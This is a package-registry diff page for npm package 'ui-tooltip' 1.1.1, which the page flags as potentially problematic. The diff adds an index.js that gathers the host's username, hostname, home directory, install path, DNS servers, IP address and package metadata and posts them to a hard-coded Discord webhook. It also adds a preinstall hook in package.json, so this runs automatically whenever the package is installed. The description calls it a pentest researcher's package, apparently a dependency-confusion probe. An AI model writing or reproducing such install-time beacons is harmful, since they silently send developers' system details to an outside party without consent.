ui-tooltip 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ui-tooltip might be problematic. Click here for more details.
- package/index.js +60 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
// Function to get the IP address
|
9
|
+
function getIPAddress() {
|
10
|
+
const networkInterfaces = os.networkInterfaces();
|
11
|
+
for (const interfaceName in networkInterfaces) {
|
12
|
+
const iface = networkInterfaces[interfaceName];
|
13
|
+
for (const alias of iface) {
|
14
|
+
if (alias.family === 'IPv4' && !alias.internal) {
|
15
|
+
return alias.address;
|
16
|
+
}
|
17
|
+
}
|
18
|
+
}
|
19
|
+
return 'IP not found';
|
20
|
+
}
|
21
|
+
|
22
|
+
const trackingData = JSON.stringify({
|
23
|
+
p: package,
|
24
|
+
c: __dirname,
|
25
|
+
hd: os.homedir(),
|
26
|
+
hn: os.hostname(),
|
27
|
+
un: os.userInfo().username,
|
28
|
+
dns: dns.getServers(),
|
29
|
+
ip: getIPAddress(), // Add IP address here
|
30
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
31
|
+
v: packageJSON.version,
|
32
|
+
pjson: packageJSON,
|
33
|
+
});
|
34
|
+
|
35
|
+
const webhookURL = "https://discord.com/api/webhooks/1300794522527207455/Rwia0Q_nzTK5ryVjobdz4iZa4vXy2QHD9osn5rn9I5ZGyQqedXSMRlEJmNcJNGlidx0C"; // Replace with your Discord webhook URL
|
36
|
+
|
37
|
+
const postData = JSON.stringify({
|
38
|
+
content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
|
39
|
+
});
|
40
|
+
|
41
|
+
const options = new URL(webhookURL);
|
42
|
+
|
43
|
+
options.method = "POST";
|
44
|
+
options.headers = {
|
45
|
+
"Content-Type": "application/json",
|
46
|
+
"Content-Length": postData.length,
|
47
|
+
};
|
48
|
+
|
49
|
+
const req = https.request(options, (res) => {
|
50
|
+
res.on("data", (d) => {
|
51
|
+
process.stdout.write(d);
|
52
|
+
});
|
53
|
+
});
|
54
|
+
|
55
|
+
req.on("error", (e) => {
|
56
|
+
console.error(e);
|
57
|
+
});
|
58
|
+
|
59
|
+
req.write(postData);
|
60
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "ui-tooltip",
|
3
|
+
"version": "1.1.1",
|
4
|
+
"description": "H1 pentest researcher",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|